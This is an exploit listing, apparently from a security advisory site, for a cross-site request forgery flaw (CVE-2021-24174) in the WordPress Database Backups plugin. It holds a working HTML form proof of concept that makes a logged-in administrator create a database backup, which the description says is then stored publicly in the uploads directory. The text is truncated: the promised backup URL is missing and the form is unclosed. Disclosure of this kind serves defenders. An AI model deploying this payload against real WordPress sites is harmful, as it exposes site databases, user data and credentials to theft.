WordPress Database Backups Cross Site Request Forgery

WordPress Database Backups plugin version suffers from a cross site request forgery vulnerability in the databased backup download functionality.

MD5 | 64842ca1da22c21a2c197e73d5207765

# Exploit Title: WordPress Plugin Database Backups - 'Database Backup Download' CSRF
# Date: 2/10/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/database-backups/
# Version:
# Tested on: Windows 10
# CVE: CVE-2021-24174

1. Description:
This plugin allows admins to create and download database backups. A CSRF can create DB backups stored publicly in the uploads directory.

2. Proof of Concept:

<form action="http://localhost/wp-admin/tools.php?page=database-backups" method="post">
<input type="hidden" name="do_backup_manually" value="1">
<input type="submit" class="button button-primary" value="Do backup" autocomplete="off">

Backups can be accessed by the following URL.

Related Posts